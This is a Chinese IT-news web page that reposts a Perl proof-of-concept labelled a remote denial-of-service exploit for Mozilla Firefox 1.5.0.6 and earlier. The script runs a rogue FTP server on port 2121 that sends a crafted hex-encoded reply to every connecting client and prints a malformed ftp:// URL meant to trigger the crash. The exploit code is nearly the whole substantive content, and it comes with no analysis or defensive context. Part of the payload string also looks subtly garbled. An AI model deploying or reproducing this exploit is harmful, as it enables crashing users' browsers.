首页 | 编程语言 | 网站建设 | 游戏天堂 | 冲浪宝典 | 网络安全 | 操作系统 | 软件时空 | 硬件指南 | 病毒相关 | IT 认证
软讯网络 > 网络安全 > 安全知识 > Mozilla Firefox <= 1.5.0.6 (FTP Request)
【标  题】:Mozilla Firefox <= 1.5.0.6 (FTP Request)
【关键字】:Mozilla,Firefox,1.5.0.6,FTP,Request
【来  源】:http://www.cublog.cn/u/2056/showart.php?id=159292

Mozilla Firefox <= 1.5.0.6 (FTP Request)

Mozilla Firefox <= 1.5.0.6 (FTP Request) Remote Denial of Service Exploit
 
 
#!/usr/bin/perl
#author: tomas kempinsky

use strict;
use Socket;

my $port = shift || 2121;
my $proto = getprotobyname('tcp');
my $payload =
"\x32\x32\x30\x20\x5a\x0d\x0a\x33".
"\x33\x31\x20\x5a\x0d\x0a\x35\x30".
"\x30\x20\x44\x6f\x53\x0d\x0a\x35\".
"x30\x30\x20\x5a\x0d\x0a";


socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, 1) or die "setsock: $!";

my $paddr = sockaddr_in($port, INADDR_ANY);

bind(SERVER, $paddr) or die "bind: $!";
listen(SERVER, SOMAXCONN) or die "listen: $!";
print "ftp://D:oS@\x0localhost:2121/\n";

my $client_addr;
while ($client_addr = accept(CLIENT, SERVER)) {
       # find out who connected
       my ($client_port, $client_ip) = sockaddr_in($client_addr);
       my $client_ipnum = inet_ntoa($client_ip);
       my $client_host = gethostbyaddr($client_ip, AF_INET);
       print ": $client_host", "[$client_ipnum]\n";
       # send them a message, close connection
       print CLIENT $payload;
       close CLIENT;
}

全球僵尸电脑比率高达23% 垃圾邮件率达81%:【上一篇】
Solaris 8 / 9 (/usr/ucb/ps) Local Information:【下一篇】
【相关文章】
  • 安装vsftp- -
  • [参考] 兼容Mozilla必须知道的知识。
  • Mozilla三鸟齐飞[原创]
  • 在debian上安装pureftpd
  • gcc libraries GNU FTP Mirror List
  • Linux下vsftp配置使用一点通
  • 关于firefox的优化
  • M-Howto 安装FTP服务器【WU-FTP版本】
  • .net 2.0 下的FTP搜索引擎实现
  • Proftp配置,为某个用户指定特定的目录
  • 【随机文章】
  • 《平衡》(Ballance)最终完美硬盘版, eMule下载
  • Take command :init
  • SQLPlus 使用技巧
  • BootLoader的基本概念
  • 一个简单的 EJB 3.0 实现
  • PB编程技巧实例
  • 在你的MFC应用程序中显示一个JPG文件
  • CSS实例:横线样式的输入框
  • 浅析DirectShow音视频同步解决完整方案(zz)
  • 高级shell编程技巧4(转载)
  • 【相关评论】
    没有相关评论
    【发表评论】
    姓名:
    邮件:
    随机码*
    评论*
          
    |  首 页  |  版权声明  |  联系我们   |  网站地图  |
    CopyRight © 2004-2007 软讯网络 All Rigths Reserved.